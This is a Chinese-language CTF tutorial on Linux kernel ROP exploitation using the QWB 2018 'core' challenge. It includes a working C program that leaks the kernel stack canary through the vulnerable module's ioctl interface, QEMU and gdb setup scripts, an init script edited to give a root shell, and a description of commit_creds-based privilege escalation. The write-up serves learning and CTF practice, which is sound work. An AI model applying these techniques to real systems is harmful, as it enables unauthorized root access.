-
-
[原创]用户态视角理解内核ROP利用:快速从shell到root的进阶
-
发表于: 2025-3-11 15:58 2608
-
本文仅限于快速从用户态向内核态入门,可能会有很多不严谨的地方,存在问题请及时告知感谢!本文旨在通过对比用户态 ROP 利用和内核 ROP 利用,揭示两者在利用手法上的相似性。通过分析用户态漏洞利用的流程,结合内核漏洞利用的特点,引导读者理解内核 ROP 利用的本质,从而更快地掌握内核漏洞利用技术。
本文主要是要为了帮助大部分人去克服学习内核利用Kernel_pwn前的枯燥无聊的前置知识的学习,虽然本文很长但是只需要跟着实际操作就可以快速学习完毕,本文直接以用户态和内核态的对比利用来讲解,在实际操作中讲解知识点,其实本文可以直接从这部分开始看:五、实战以强网杯2018 - core内核Pwn题
之后再回来看基础知识!学会如何进行Linux内核调试和驱动文件的漏洞挖掘!!!!
无论是在内核还是用户态中,漏洞利用的本质是通过构造特定输入,触发程序的异常执行路径。其核心逻辑包含三个必要要素:
攻击的终极目标是控制程序执行流。当攻击者能够通过漏洞改写EIP/RIP寄存器或劫持函数指针时,即可强制程序跳转至指定内存区域(如Shellcode或ROP链),最终实现代码执行。
当内存屏障竖起高墙,黑客如何让代码在荒漠中开花?(ROP(Return-Oriented Programming)的本质是一场精密的指令拼图游戏——从程序的废墟中挖掘代码片段(gadgets),通过栈指针的精准操控,让这些孤立指令像多米诺骨牌般连锁触发,最终突破系统的桎梏!
关键差异总结:
1. 内核映像文件(如 vmlinuz)
内核映像文件是 Linux 操作系统的核心,包含内核代码和基本驱动。启动时,它被加载到内存中,解压后执行,负责初始化硬件、设置内存管理,并为用户空间准备环境。
2. Initrd/Initramfs
Initrd 和 Initramfs 是启动过程中的临时根文件系统,用于在挂载真实根文件系统前加载必需的驱动和工具。
QEMU 是一个开源模拟器,广泛用于虚拟化不同架构的操作系统。在启动 Linux 内核时,QEMU 通过 qemu-system-x86 命令初始化虚拟机环境。这一过程包括设置 CPU、内存和设备模拟,确保虚拟机能够运行目标操作系统。
内核加载与执行: QEMU 加载内核映像文件,通常为 bzImage(压缩的内核)或 vmlinux(未压缩的内核)。根据 QEMU 文档,用户可以通过 -kernel 选项指定内核文件路径。内核加载后,会自动解压(如果为 bzImage),然后开始执行,完成硬件初始化(如设置内存结构、加载驱动)。
Initramfs(Initial RAM Filesystem)是 Linux 启动过程中的临时根文件系统,通常以 initramfs.cpio 格式存在。根据 Gentoo Wiki,其主要目的是为内核提供一个最小化的用户空间环境,以加载必要的驱动和挂载真实根文件系统。
在 Initramfs 设置完成后,内核会启动 Initramfs 中的 /init 脚本,这是第一个用户空间进程。/init 脚本负责加载必要的内核模块(如 .ko 文件),挂载真实根文件系统,然后启动用户空间的初始化进程(如 systemd 或 shell),完成系统的全面初始化。,根据不同的构建方式shell脚本可以在不同位置。
1.LKMs 的文件格式:
在linux里面查看该文件:
文件格式:Linux:采用 ELF(Executable and Linkable Format)格式,后缀通常是 .ko(kernel object)。
LKMs 文件与ELF的区别:
LKMs(可装载内核模块)是什么?
定义:LKMs 是 Linux 内核支持的一种机制,允许在内核运行时动态加载或卸载功能模块,而无需重新编译或重启整个内核。它们是内核代码的扩展,通常用于添加设备驱动程序、文件系统支持、网络协议或其他功能。
特点:
与内核相关的Linux指令:
例题:强网杯2018 - core
依然是十分经典的kernel pwn入门题,内核入门题的老演员了!
点击下载-core.7z
WP:【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog
这里的启动参数中包含:
这就是解压出来的文件系统core.cpio,就是一个Linux操作系统的文件目录结构里面有构建好的基础工具:
解压后你会发现文件系统内的目录结构与标准 Linux 系统类似,主要目录包括:
在解压出来的文件系统中成功找到了core.ko内核文件:
分析输出可以看出:
在深入分析驱动文件之前,掌握一些基础知识是至关重要的。本节将带领读者了解如何通过动静结合的方式对驱动文件进行逆向分析,重点讲解用户态与内核态的交互机制、关键内核函数的使用,以及如何通过调试工具对内核进行调试。
在Linux系统中,用户态程序与内核态驱动之间的交互通常通过系统调用实现。ioctl
是一个非常重要的系统调用,用于设备控制。它允许用户态程序向内核态驱动发送特定的控制命令,从而实现设备的管理和配置。
在一般系统调用就是通过系统调用号来实现,比如64
位下read
的系统调用号为0
。
/usr/include/x86_64-linux-gnu/asm/unistd_64.h
和 /usr/include/x86_64-linux-gnu/asm/unistd_32.h
可以查看 64 位和 32 位的系统调用号。
系统调用:ioctl
在 Linux
系统中,几乎所有设备都被视为文件,这使得通过标准的文件操作(如 open
、read
、write
和 close
)来访问设备变得简单。然而,某些操作超出了这些标准接口的能力,需要一个更灵活的机制来处理设备特定的功能,这就是 ioctl
的用武之地。
ioctl
** 的功能**
函数原型
在 C 语言中,ioctl
的原型如下:
使用ioctl
init_module
是 Linux 内核模块加载时的入口函数,负责:
了解 init_module
的实现可以帮助确定驱动的加载流程和初始化逻辑,并为后续的漏洞挖掘提供线索。
在内核驱动中,许多函数在系统稳定性与安全性上起着至关重要的作用。下面列举一些常见的函数:
在 Linux 内核中,proc_create 是一个非常重要的函数,用于在 /proc 文件系统下创建新的文件条目。它通常用于内核模块或驱动程序开发,以便提供一种用户空间与内核空间交互的接口。下面我详细解释它的作用和用法。
返回值: 返回一个指向 struct proc_dir_entry 的指针,表示创建的 proc 文件条目。如果创建失败,返回 NULL。
参数说明:
例题:强网杯2018 - core
依然是十分经典的kernel pwn入门题,用他来进行内核调试
点击下载-core.7z
WP:【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog
本部分将深入解析内核漏洞调试环境的构建方法,以强网杯2018核心赛题为例,演示完整的调试流程
我们使用以下C程序作为内核态数据探测工具,其核心功能是通过ioctl系统调用与内核模块交互,写了一个泄露内核Canary值的简单程序,编译好后直接传入虚拟机,之后执行即可获得,内核空间中Canary的值!仅本案例有效:
需要在宿主机上,因为有汇编编译使用-masm
,而且要静态编译然后传入系统中进行执行:
测试每个程序中系统系统调用函数的内核程序的Canary是否一直在变!
现象分析:每次系统重启后Canary值随机变化,证明Canary的值会随机变化
修改init脚本实现调试增强:
关键修改说明:
将前面编译好的readcnary可执行程序也传入里面,再将整个文件系统重新打包为core.cpio,在使用start.sh启动!
使用 QEMU 模拟内核环境,需关注内存分配、设备初始化及启动参数。下面是一个典型的 QEMU 启动脚本示例start.sh:
调试的时候我们可以先把kaslr关掉,这样就可以根据获取到函数的原始地址,后续再通过该值计算函数偏移
如果运行start.sh报错:
说明:这个运行之后会报错,由于内存RAM分配不够,内存不足会导致启动错误,如 “Kernel panic - not syncing: Out of memory...”;适当调整内存参数是必需的。改为:-m 512M,1024M,2028M.....
首先通过start.sh启动qemu,在启动start.sh,在进入qemu里面
准备开始调试:通过lsmod获取驱动基地址
有root权限就可以获取基址:
如果是非root权限就无法看见基地址全是0,如果是自己的驱动有可能是符号表未被加载,导致全0:
获取到基地址就可以开始调试了:
,将得到的基地址传入gdb脚本的第一个参数即可!
启动gdb.sh
运行刚刚放入进去的可执行程序,就可以成功开启调试了
成功!
A. 基本信息
B. 已启用的保护机制
C. 漏洞利用便利性
可以简单使用IDA查看一下core.ko的相关函数!如下图:
在 Linux 内核中,开发者可以通过加载模块的方式扩展内核功能。本文将介绍一个示例模块,其主要功能是在 /proc
目录下创建一个名为 core
的虚拟文件,通过对该文件的读写操作,实现内核数据与用户空间的交互。
init_module() 是Linux内核模块的入口函数,当模块被加载(insmod)时会调用此函数。
proc_create("core", 438LL, 0LL, &core_fops):
core_fops 是一个struct file_operations结构体,定义了对/proc/core文件的操作方法。
可以去这里看下详细数据:
从数据段来看,core_fops定义了以下几个字段:
当用户打开 /proc/core
文件进行操作(例如调用 write、read 等系统调用)时,内核会根据注册的 core_fops
结构体,转而调用上述各个函数,从而实现内核与用户空间的数据交互。
该函数使用 copy_from_user
将用户空间的数据拷贝到内核变量 name
中,并在写入数据超出预期大小时打印错误信息。
例如:
也就是说大我们使用open打开虚拟文件/proc/core
向这个文件进行操作的时候,比如调用write像这个fd进行操作的时候,会调用的不是系统默认的write函数,而是调用内核中注册的core_write函数进行操作!
这个函数的作用就是将内核态中的堆栈数据,泄露到用户态度内存环境中:
通过 copy_to_user
将数据复制到用户提供的地址。来实现从内核态向用户态泄露数据的功能。
通过 exit_core
函数删除 proc 文件,完成模块卸载时的清理工作。
core_release
函数,当文件关闭时执行清理操作。
内核模块通过 core_ioctl
提供了三个主要操作,其命令码分别为:
漏洞点:
在用户态,我们通常利用ROP(Return Oriented Programming)绕过 NX 保护,通过精心构造的 ROP 链控制代码执行,实现权限提升或执行任意命令。在内核态,ROP 的利用方式与用户态类似,但会有一些概念上的区别。
传统的用户态ROP利用是通过:寻找程序存在的漏洞,进行信息泄露,绕过保护机制Canary和aslr,ROP链构造,寻找溢出漏洞,写入ROP链,来执行system("/bin/sh")
调用直接获取用户层Shell,核心是用户空间权限的横向扩展。
内核态ROP:需调用commit_creds(prepare_kernel_cred(0))
完成提权到root,核心是内核态权限的纵向突破
如何获取和使用 Gadgets:
1.使用 ropper
提取 Gadgets
安装完成后,你可以使用 ropper
从 vmlinux
镜像中提取 gadgets,并将结果保存到 gadgets.txt
文件中:
2.使用 ROPgadget
提取 Gadgets
你也可以使用 ROPgadget
工具来提取 gadgets,命令如下:
3.注意事项
根据前面对驱动文件的逆向分析,我们可以很快的想到泄露Canary值和函数地址偏移的方法!直接得到两个exp!
下面这个是泄露Canary值的exp.c脚本:
利用的原理也很简单,通过set_off_val设置off变量的值为64,这个偏移正好就可以让core_read函数读取到内核空间中Canary的值!从而能够成功泄露Canary!!
64这个偏移是如何计算出来的可以通过gdb调试内核来手动定位:
想查看内部的细节可以直接在这个函数的位置下个断点,然后进入直接调试!计算Canary的偏移
调试脚本:
查看内容!
成功计算出偏移地址是64,所以可以调用驱动中的core_read来读取Canary的值,从而来绕过栈溢出保护!
首先启动qemu获取未开启内核地址随机化的时候的函数真实地址:
之后就可以手戳出来一个泄露内核任意函数和gadget的exp!!!
原理是此前内核符号表又已经被拷贝到了/tmp/kallsyms
下,我们便可以从中读取各个内核符号的地址,如果在/proc/kallsyms下需要root权限才可以读取,在/tmp/kallsyms
所有用户都可以读取,所以即使开启了kaslr也可以获得指定函数的真实地址!
构造内核ROP链与用户态ROP链的主要区别在于状态切换。由于内核ROP链执行完毕后,最终需要返回用户态以获取一个具有root权限的shell,因此必须实现从内核运行状态到用户运行状态的切换。
为了实现这一目标,我们需要关注三个关键概念:
在 这篇博客 当中笔者简要叙述了内核态返回用户态的过程!
在内核ROP链执行之前,我们需要手动模拟用户态进入内核态的准备工作,即保存各寄存器的值到内核栈上。通常情况下,可以使用以下步骤来保存寄存器的值:
方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel
在这个函数中,我们将用户态的寄存器值保存到预定义的变量中,以便在构造ROP链时使用。
为了从内核态返回到用户态,我们需要在内核代码中找到合适的gadget。这些gadget通常包括:
在内核中,可以通过工具如ROPgadget
或objdump
来寻找这些gadget。例如:
在内核ROP链中,通常需要调用一些提权函数来提升当前进程的权限。常见的提权函数包括:
那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq
就可以成功着陆回用户态
通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:
现在只需要定位一下函数的溢出长度就可以成功构造内核ROP链了!
最后调试栈溢出位置即可!调试脚本:
成功大选断点查看一些栈中的情况
可以发现溢出的长度正好是8X10个字节!
计算出溢出的长度后就可以直接构造了,我们需要完成的部分:user_shell_addr
由于是内核态的rop,故我们需要手动返回用户态执行/bin/sh
,这里我们需要模拟由用户态进入内核态再返回用户态的过程:
编译:
成功:
相关参考链接感谢大佬的文章!!!
报错解决:
如果执行后报错,大概率是gadgets的地址弄错了,重新从BzImage里面提取vmlinux在去获取Gadget!
也可以直接使用pwntools工具来搜索:
对比维度 | 用户态ROP | 内核态ROP | 核心共性 |
---|---|---|---|
控制流劫持目标 | 劫持进程控制流(如覆盖栈返回地址) | 劫持内核控制流(驱动或内核存在可以利用漏洞) | 均需通过漏洞(溢出、UAF等)劫持控制流 |
Gadget来源 | 用户态程序或动态库(如libc、libc.so) | 内核镜像或内核模块(如vmlinux、.ko文件) | 复用现有代码片段(Gadgets),绕过DEP/NX |
内存布局操控 | 覆盖用户栈/堆内存(如返回地址、函数指针) | 篡改内核栈/堆内存(如内核结构体、任务栈) | 需精确控制内存布局以链式调用Gadgets |
权限与上下文 | 用户态权限(Ring 3),遵循用户空间调用约定 | 内核态权限(Ring 0),需适配内核特权级上下文 | 上下文敏感设计(如寄存器状态、传参方式) |
对抗保护机制 | 绕过用户态ASLR、Stack Canary | 绕过内核态KASLR、SMAP/SMEP(若启用) | 依赖信息泄露获取基址,绕过随机化与检测机制 |
漏洞利用入口 | 常见于应用层漏洞(如栈溢出、格式化字符串) | 多通过系统调用接口(如ioctl、syscall)触发漏洞 | 利用程序逻辑缺陷或内存错误实现初始控制流劫持 |
攻击目标 | 执行Shellcode、劫持应用逻辑 | 实现内核代码执行、关闭安全机制、Rootkit植入、提权 | 最终目标均为实现非授权代码执行或权限提升 |
缓解措施 | DEP/NX、ASLR、Stack Canary | KASLR、SMAP/SMEP、KPTI、内核代码签名 | 均需结合硬件与软件防护机制抵御ROP攻击 |
维度 | 用户态 | 内核态 |
---|---|---|
交互方式 | 通过开放端口、命令行参数等进程间通信 | 依赖系统调用(syscall)、驱动IOCTL接口等底层交互 |
地址空间 | 每个进程拥有独立的虚拟地址空间(受MMU隔离保护) | 所有进程,全局共享的内核地址空间(无隔离性) |
权限级别 | Ring 3,仅能访问受限资源 | Ring 0,可直接操作硬件和系统关键数据结构 |
保护机制 | ASLR、NX、Stack Canary等用户层防护 | Stack Canary、KASLR、SMEP(禁止内核执行用户页)、SMAP(禁止内核访问用户页)等硬件级防护 |
提权目标 | 获取进程权限(如启动/bin/sh) | 突破权限隔离,获取root或SYSTEM级特权 |
攻击脚本 | Python脚本(依赖进程交互接口) | 需编写C/汇编代码直接操作内核数据结构 |
阶段 | 主要动作 | 说明 |
---|---|---|
QEMU 启动内核文件 | 加载内核映像(如 bzImage),解压并执行 | 完成硬件初始化,准备后续步骤 |
Initramfs 处理 | 加载 initramfs.cpio,挂载为临时根文件系统 | 提供最小化环境,加载驱动和工具 |
用户空间初始化 | 执行 /init 脚本,挂载真实根,启动 systemd/shell | 完成系统初始化,进入用户 |
ub20@ub20:~
/KernelStu/RunQemu
$
file
..
/CodeKernelDriver/hello
.ko
..
/CodeKernelDriver/hello
.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=6cc23340ffa46ada1c55861237166888e5676d
ub20@ub20:~
/KernelStu/RunQemu
$
file
..
/CodeKernelDriver/hello
.ko
..
/CodeKernelDriver/hello
.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=6cc23340ffa46ada1c55861237166888e5676d
ub20@ub20:~
/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player
$
ls
bzImage core.cpio vmlinux start.sh
ub20@ub20:~
/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player
$
ls
bzImage core.cpio vmlinux start.sh
qemu-system-x86_64 \
-m 64M \
-kernel .
/bzImage
\
-initrd .
/core
.cpio \
-append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
\
-s \
-netdev user,
id
=t0, -device e1000,netdev=t0,
id
=nic0 \
-nographic \
qemu-system-x86_64 \
-m 64M \
-kernel .
/bzImage
\
-initrd .
/core
.cpio \
-append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
\
-s \
-netdev user,
id
=t0, -device e1000,netdev=t0,
id
=nic0 \
-nographic \
gunzip -c /home/ub20/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player/core.cpio | cpio -idmv
gunzip -c /home/ub20/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player/core.cpio | cpio -idmv
ub20@ub20:~
/KernelStu/KernelVuln/Kernel_ROP_basic/tmp
$ tree -d
.
├── bin
├── etc
# 系统配置文件(通常包含inittab、passwd等)
├── lib
# 内核模块存储目录(注意权限位为755)
│ └── modules
│ └── 4.15.8
# 内核版本
│ └── kernel
│ ├── arch
│ │ └── x86
│ │ └── kvm
│ ├── drivers
│ │ ├── thermal
│ │ └── vhost
│ ├── fs
│ │ └── efivarfs
│ └── net
│ ├── ipv4
│ │ └── netfilter
│ ├── ipv6
│ │ └── netfilter
│ └── netfilter
├── lib64
├── proc
# 进程信息虚拟文件系统
├── root
├── sbin
├── sys
├── tmp
└── usr
├── bin
└── sbin
ub20@ub20:~
/KernelStu/KernelVuln/Kernel_ROP_basic/tmp
$ tree -d
.
├── bin
├── etc
# 系统配置文件(通常包含inittab、passwd等)
├── lib
# 内核模块存储目录(注意权限位为755)
│ └── modules
│ └── 4.15.8
# 内核版本
│ └── kernel
│ ├── arch
│ │ └── x86
│ │ └── kvm
│ ├── drivers
│ │ ├── thermal
│ │ └── vhost
│ ├── fs
│ │ └── efivarfs
│ └── net
│ ├── ipv4
│ │ └── netfilter
│ ├── ipv6
│ │ └── netfilter
│ └── netfilter
├── lib64
├── proc
# 进程信息虚拟文件系统
├── root
├── sbin
├── sys
├── tmp
└── usr
├── bin
└── sbin
#!/bin/sh
mount
-t proc proc
/proc
mount
-t sysfs sysfs
/sys
mount
-t devtmpfs none
/dev
/sbin/mdev
-s
mkdir
-p
/dev/pts
mount
-vt devpts -o gid=4,mode=620 none
/dev/pts
chmod
666
/dev/ptmx
cat
/proc/kallsyms
>
/tmp/kallsyms
# 将内核符号表导出到 /tmp/kallsyms 文件,用于调试和分析
echo
1 >
/proc/sys/kernel/kptr_restrict
# 限制非特权用户访问内核符号地址
echo
1 >
/proc/sys/kernel/dmesg_restrict
# 限制非特权用户访问内核日志
ifconfig
eth0 up
udhcpc -i eth0
ifconfig
eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
# 加载内核模块 core.ko
insmod
/core
.ko
poweroff -d 120 -f &
# 在 120 秒后强制关机
setsid
/bin/cttyhack
setuidgid 1000
/bin/sh
# 启动一个新的会话,并以 UID 1000 的用户身份运行 shell
echo
'sh end!\n'
# 打印 shell 结束信息
umount
/proc
umount
/sys
# 立即强制关机
poweroff -d 0 -f
#!/bin/sh
mount
-t proc proc
/proc
mount
-t sysfs sysfs
/sys
mount
-t devtmpfs none
/dev
/sbin/mdev
-s
mkdir
-p
/dev/pts
mount
-vt devpts -o gid=4,mode=620 none
/dev/pts
chmod
666
/dev/ptmx
cat
/proc/kallsyms
>
/tmp/kallsyms
# 将内核符号表导出到 /tmp/kallsyms 文件,用于调试和分析
echo
1 >
/proc/sys/kernel/kptr_restrict
# 限制非特权用户访问内核符号地址
echo
1 >
/proc/sys/kernel/dmesg_restrict
# 限制非特权用户访问内核日志
ifconfig
eth0 up
udhcpc -i eth0
ifconfig
eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
# 加载内核模块 core.ko
insmod
/core
.ko
poweroff -d 120 -f &
# 在 120 秒后强制关机
setsid
/bin/cttyhack
setuidgid 1000
/bin/sh
# 启动一个新的会话,并以 UID 1000 的用户身份运行 shell
echo
'sh end!\n'
# 打印 shell 结束信息
umount
/proc
umount
/sys
# 立即强制关机
poweroff -d 0 -f
ub20@ub20:~
/KernelStu/KernelVuln/Kernel_ROP_basic/tmp
$ checksec --
file
=.
/core
.ko
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX disabled Not an ELF
file
No RPATH No RUNPATH 41 Symbols No 0 0 .
/core
.ko
ub20@ub20:~
/KernelStu/KernelVuln/Kernel_ROP_basic/tmp
$ checksec --
file
=.
/core
.ko
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX disabled Not an ELF
file
No RPATH No RUNPATH 41 Symbols No 0 0 .
/core
.ko
int
ioctl(
int
fd, unsigned
long
request, ...);
int
ioctl(
int
fd, unsigned
long
request, ...);
int fd = open("/dev/mydevice", 2);//在内核中攻击使用/proc/mydevice
ioctl(fd, request_code, data) ;
int fd = open("/dev/mydevice", 2);//在内核中攻击使用/proc/mydevice
ioctl(fd, request_code, data) ;
struct
proc_dir_entry *proc_create(
const
char
*name,
umode_t mode,
struct
proc_dir_entry *parent,
const
struct
file_operations *proc_fops);
struct
proc_dir_entry *proc_create(
const
char
*name,
umode_t mode,
struct
proc_dir_entry *parent,
const
struct
file_operations *proc_fops);
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void
set_off_val(
int
fd,
size_t
off) {
ioctl(fd, 0x6677889C, off);
// 设置off变量的值
}
void
core_read(
int
fd,
char
*buf) {
ioctl(fd, 0x6677889B, buf);
// 读取内核数据
}
int
main() {
int
fd;
char
buf[0x50];
size_t
canary;
fd = open(
"/proc/core"
, 2);
// 打开内核模块
if
(fd < 0) {
printf
(
"Failed to open /proc/core\n"
);
exit
(-1);
}
// 获取Canary值
set_off_val(fd, 64);
// 设置off变量的值为64
core_read(fd, buf);
// 将指定内核地址的数据读取到buf中
canary = ((
size_t
*)buf)[0];
// 提取Canary值
printf
(
"Canary: 0x%lx\n"
, canary);
// 输出Canary值
// close(fd); // 关闭文件描述符
// return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void
set_off_val(
int
fd,
size_t
off) {
ioctl(fd, 0x6677889C, off);
// 设置off变量的值
}
void
core_read(
int
fd,
char
*buf) {
ioctl(fd, 0x6677889B, buf);
// 读取内核数据
}
int
main() {
int
fd;
char
buf[0x50];
size_t
canary;
fd = open(
"/proc/core"
, 2);
// 打开内核模块
if
(fd < 0) {
printf
(
"Failed to open /proc/core\n"
);
exit
(-1);
}
// 获取Canary值
set_off_val(fd, 64);
// 设置off变量的值为64
core_read(fd, buf);
// 将指定内核地址的数据读取到buf中
canary = ((
size_t
*)buf)[0];
// 提取Canary值
printf
(
"Canary: 0x%lx\n"
, canary);
// 输出Canary值
// close(fd); // 关闭文件描述符
// return 0;
}
gcc ./exploit.c -o readcnary -static -masm=intel
gcc ./exploit.c -o readcnary -static -masm=intel
[ 0.028291] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoe
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending
select
for
10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease
time
86400
/
# ls
bin etc init linuxrc root tmp
core.ko exploit lib proc sbin usr
dev gen_cpio.sh lib64 readcnary sys vmlinux
/
# ./readcnary
Canary: 0xaf76f1ebf0270f00
/
# ./readcnary
Canary: 0x89249a9a92962200
/
# ./readcnary
Canary: 0xa5ffbdeedd11ca00
/
# ./readcnary
Canary: 0x94189ae9be09f100
/
# ./readcnary
Canary: 0x9b2b2aade4d17200
/
# ./readcnary
Canary: 0xad3d92bb20885400
/
# ./readcnary
Canary: 0xefe7982372614a00
/
# ./readcnary
Canary: 0x526467545afe5c00
/
# ./readcnary
Canary: 0x8966f8b8ae5d1200
/
# ./readcnary
Canary: 0x32a7cc02b5308400
[ 0.028291] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoe
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending
select
for
10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease
time
86400
/
# ls
bin etc init linuxrc root tmp
core.ko exploit lib proc sbin usr
dev gen_cpio.sh lib64 readcnary sys vmlinux
/
# ./readcnary
Canary: 0xaf76f1ebf0270f00
/
# ./readcnary
Canary: 0x89249a9a92962200
/
# ./readcnary
Canary: 0xa5ffbdeedd11ca00
/
# ./readcnary
Canary: 0x94189ae9be09f100
/
# ./readcnary
Canary: 0x9b2b2aade4d17200
/
# ./readcnary
Canary: 0xad3d92bb20885400
/
# ./readcnary
Canary: 0xefe7982372614a00
/
# ./readcnary
Canary: 0x526467545afe5c00
/
# ./readcnary
Canary: 0x8966f8b8ae5d1200
/
# ./readcnary
Canary: 0x32a7cc02b5308400
#!/bin/sh
mount
-t proc proc
/proc
mount
-t sysfs sysfs
/sys
mount
-t devtmpfs none
/dev
/sbin/mdev
-s
mkdir
-p
/dev/pts
mount
-vt devpts -o gid=4,mode=620 none
/dev/pts
chmod
666
/dev/ptmx
cat
/proc/kallsyms
>
/tmp/kallsyms
# 将内核符号表导出到 /tmp/kallsyms 文件,用于调试和分析
echo
1 >
/proc/sys/kernel/kptr_restrict
# 限制非特权用户访问内核符号地址
echo
1 >
/proc/sys/kernel/dmesg_restrict
# 限制非特权用户访问内核日志
ifconfig
eth0 up
udhcpc -i eth0
ifconfig
eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
# 加载内核模块 core.ko
insmod
/core
.ko
#poweroff -d 120 -f & # 取消定时关机
# setsid /bin/cttyhack setuidgid 1000 /bin/sh # 启动一个新的会话,并以 UID 1000 的用户身份运行 shell
setsid
/bin/cttyhack
setuidgid 0
/bin/sh
# 这样就有Root权限了
echo
'sh end!\n'
# 打印 shell 结束信息
umount
/proc
umount
/sys
# 立即强制关机
poweroff -d 0 -f
#!/bin/sh
mount
-t proc proc
/proc
mount
-t sysfs sysfs
/sys
mount
-t devtmpfs none
/dev
/sbin/mdev
-s
mkdir
-p
/dev/pts
mount
-vt devpts -o gid=4,mode=620 none
/dev/pts
chmod
666
/dev/ptmx
cat
/proc/kallsyms
>
/tmp/kallsyms
# 将内核符号表导出到 /tmp/kallsyms 文件,用于调试和分析
echo
1 >
/proc/sys/kernel/kptr_restrict
# 限制非特权用户访问内核符号地址
echo
1 >
/proc/sys/kernel/dmesg_restrict
# 限制非特权用户访问内核日志
ifconfig
eth0 up
udhcpc -i eth0
ifconfig
eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
# 加载内核模块 core.ko
insmod
/core
.ko
#poweroff -d 120 -f & # 取消定时关机
# setsid /bin/cttyhack setuidgid 1000 /bin/sh # 启动一个新的会话,并以 UID 1000 的用户身份运行 shell
setsid
/bin/cttyhack
setuidgid 0
/bin/sh
# 这样就有Root权限了
echo
'sh end!\n'
# 打印 shell 结束信息
umount
/proc
umount
/sys
# 立即强制关机
poweroff -d 0 -f
qemu-system-x86_64 \
-m 512M \
-kernel .
/bzImage
\
-initrd .
/core
.cpio \
-append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
\
-netdev user,
id
=t0 -device e1000,netdev=t0,
id
=nic0 \
-nographic
qemu-system-x86_64 \
-m 512M \
-kernel .
/bzImage
\
-initrd .
/core
.cpio \
-append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
\
-netdev user,
id
=t0 -device e1000,netdev=t0,
id
=nic0 \
-nographic
0.024687] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
0.914765] Kernel panic - not syncing: Out of memory and no killable processes...
0.914765]
0.915174] Rebooting in 1 seconds..
0.024687] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
0.914765] Kernel panic - not syncing: Out of memory and no killable processes...
0.914765]
0.915174] Rebooting in 1 seconds..
#!/bin/sh
pwndbg -q -ex
"target remote localhost:1234"
\
-ex
"add-symbol-file ./core.ko $1"
\
-ex
"b core_copy_func"
\
-ex
"b core_write"
\
-ex
"b core_ioctl"
\
-ex
"b* core_copy_func+0x3b"
\
-ex
"c"
#!/bin/sh
pwndbg -q -ex
"target remote localhost:1234"
\
-ex
"add-symbol-file ./core.ko $1"
\
-ex
"b core_copy_func"
\
-ex
"b core_write"
\
-ex
"b core_ioctl"
\
-ex
"b* core_copy_func+0x3b"
\
-ex
"c"
[ 0.025516] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending
select
for
10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease
time
86400
/
# lsmod
core 16384 0 - Live 0xffffffffc02dc000 (O)
/
#
[ 0.025516] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending
select
for
10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease
time
86400
/
# lsmod
core 16384 0 - Live 0xffffffffc02dc000 (O)
/
#
[ 0.025516] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ # lsmod
core 16384 0 - Live 0x0000000000000000 (O)
[ 0.025516] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ # lsmod
core 16384 0 - Live 0x0000000000000000 (O)
ub20@ub20:~/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player$ bash ./gdb.sh 0xffffffffc0355000
Remote debugging using localhost:1234
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0xffffffff8fc6e7d2 in ?? ()
add symbol table from file "./core.ko" at
.text_addr = 0xffffffffc0355000
(y or n) y
Reading symbols from ./core.ko...
(No debugging symbols found in ./core.ko)
Breakpoint 1 at 0xffffffffc03550f6
Breakpoint 2 at 0xffffffffc0355011
Breakpoint 3 at 0xffffffffc035515f
Breakpoint 4 at 0xffffffffc0355131
Continuing.
Breakpoint 3, 0xffffffffc035515f in core_ioctl ()
(gdb) ni
0xffffffffc0355165 in core_ioctl ()
(gdb)
